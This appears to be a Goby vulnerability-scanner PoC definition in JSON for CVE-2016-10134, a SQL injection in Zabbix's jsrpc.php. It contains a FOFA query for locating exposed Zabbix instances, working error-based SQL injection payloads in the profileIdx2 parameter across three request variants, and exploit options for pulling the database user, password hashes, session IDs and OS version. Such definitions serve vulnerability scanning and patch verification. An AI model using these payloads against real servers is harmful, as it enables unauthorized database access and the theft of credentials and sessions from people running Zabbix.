{
  "Name": "Zabbix CVE-2016-10134 SQL Injection Vulnerability",
  "Description": "SQL injection vulnerability in Zabbix before 2.2.14 and 3.0 before 3.0.4 allows remote attackers to execute arbitrary SQL commands via the toggle_ids array parameter in latest.php.",
  "Product": "",
  "Homepage": "",
  "DisclosureDate": "2017-02-16",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"Zabbix\" || (body=\"images/general/zabbix.ico\" || header=\"zbx_sessionid\" || body=\"meta name=\\\"Author\\\" content=\\\"Zabbix SIA\\\"\" || banner=\"Linux ZABBIX-\")",
  "Level": "3",
  "Impact": "",
  "Recommendation": "",
  "References": [
    "http://www.debian.org/security/2017/dsa-3802",
    "http://www.openwall.com/lists/oss-security/2017/01/12/4",
    "http://www.openwall.com/lists/oss-security/2017/01/13/4",
    "http://www.securityfocus.com/bid/95423",
    "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850936",
    "https://code610.blogspot.com/2017/10/zbx-11023-quick-autopsy.html",
    "https://support.zabbix.com/browse/ZBX-11023",
    "https://nvd.nist.gov/vuln/detail/CVE-2016-10134",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10134"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "runSql",
      "Type": "select",
      "Value": "runSql_local,Database_version,Database_user,user_passwd,sessionid,os_version"
    },
    {
      "Name": "runSql_local",
      "Type": "input",
	  "show": "runSql=runSql_local",
      "Value": "(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,(payload),0x7e)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
            "OR",
            {
                  "Request": {
						"set_variable": ["runSql|define|text|(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,(SELECT+md5(0x7363616e6e6572)),0x7e)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)"],
                        "method": "GET",
                        "uri": "/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2={{{runSql}}}&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1",
                        "follow_redirect": false,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "bbdaea376f500d25f6b0c1050311dd07",
                                    "bz": "undefined"
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
						"set_variable": ["runSql|define|text|(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,(SELECT+md5(0x7363616e6e6572)),0x7e)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)"],
                        "method": "GET",
                        "uri": "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2={{{runSql}}}&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1",
                        "follow_redirect": false,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "bbdaea376f500d25f6b0c1050311dd07",
                                    "bz": "undefined"
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
						"set_variable": ["runSql|define|text|(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,(SELECT+md5(0x7363616e6e6572)),0x7e)))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)"],
                        "method": "GET",
                        "uri": "/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2={{{runSql}}}&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17",
                        "follow_redirect": true,
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "bbdaea376f500d25f6b0c1050311dd07",
                                    "bz": "undefined"
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
  "ExploitSteps": null,
  "Tags": ["sqli","rce"],
  "CVEIDs": [
    "CVE-2016-10134"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["zabbix"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}